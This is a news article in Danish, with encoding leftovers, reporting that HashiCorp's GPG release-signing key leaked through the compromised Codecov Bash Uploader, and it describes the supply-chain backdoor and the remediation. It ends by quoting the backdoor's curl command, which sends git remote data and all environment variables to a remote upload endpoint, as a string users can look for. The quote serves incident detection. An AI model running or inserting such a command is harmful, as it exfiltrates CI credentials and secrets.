Virksomheden HashiCorp, kendt for udviklingen af \u00e5bne v\u00e6rkt\u00f8jer som Vagrant, Packer, Nomad og Terraform, har annonceret et l\u00e6kage af den hemmelige GPG-n\u00f8gle, der bruges til at skabe digitale signaturer, der verificerer udgivelser. Angrebene, der fik adgang til GPG-n\u00f8glen, kunne potentielt foretage skjulte \u00e6ndringer i HashiCorps produkter, og validere dem med den korrekte digitale signatur. Samtidig har virksomheden erkl\u00e6ret, at der under den gennemf\u00f8rte audit ikke blev fundet spor af fors\u00f8g p\u00e5 at foretage s\u00e5danne modificationer. <\/p>\n

Den kompromitterede GPG-n\u00f8gle er nu tilbagekaldt, og en ny n\u00f8gle er blevet introduceret. Problemet vedr\u00f8rte kun verificering ved hj\u00e6lp af SHA256SUM og SHA256SUM.sig-filerne og p\u00e5virkede ikke dannelsen af digitale signaturer for DEB- og RPM-pakker leveret via releases.hashicorp.com, s\u00e5vel som udgivelsesbekr\u00e6ftelsesmekanismerne for macOS og Windows (AuthentiCode). <\/p>\n

L\u00e6kagen opstod p\u00e5 grund af brugen af et script, Codecov Bash Uploader (codecov-bash), i infrastrukturen, der er designet til at uploade coverage-rapporter fra kontinuerlige integrationssystemer. Under et angreb p\u00e5 virksomheden Codecov blev en bagd\u00f8r skjult i det n\u00e6vnte script, gennem hvilket der blev etableret en sendelse af adgangskoder og krypteringsn\u00f8gler til server<\/a> kriminelle. <\/p>\n

Til hackingen udnyttede angriberne en fejl i processen til oprettelse af Docker-billederne til Codecov, som gjorde det muligt at udtr\u00e6kke data for adgang til GCS (Google Cloud Storage), der var n\u00f8dvendige for at foretage \u00e6ndringer i Bash Uploader-scriptet, der blev distribueret fra codecov.io. \u00c6ndringerne blev foretaget den 31. januar og forblev i to m\u00e5neder uopdagede, hvilket gjorde det muligt for angriberne at udtr\u00e6kke information gemt i de kontinuerlige integrationssystemers milj\u00f8er for kunderne. Ved hj\u00e6lp af den tilf\u00f8jede malware kunne angriberne f\u00e5 information om det testede Git-repositorium og alle milj\u00f8variabler, herunder token, krypteringsn\u00f8gler og adgangskoder, der blev sendt til de kontinuerlige integrationssystemer til at organisere adgang til applikationskoden, lagre og tjenester s\u00e5som Amazon Web Services og GitHub. <\/p>\n

Udover direkte kald blev Codecov Bash Uploader brugt som en del af andre uploadere, s\u00e5som Codecov-action (Github), Codecov-circleci-orb og Codecov-bitrise-step, hvis brugere ogs\u00e5 er p\u00e5virket af problemet. Alle brugere af codecov-bash og relaterede produkter anbefales at gennemg\u00e5 deres infrastruktur samt \u00e6ndre adgangskoder og krypteringsn\u00f8gler. For at tjekke for en bagd\u00f8r i scriptet kan man kigge efter strengen curl -sm 0.5 -d \u00ab$(git remote -v)<<<< ENV $(env)\u00bb http:\/\/\/upload\/v2 || true
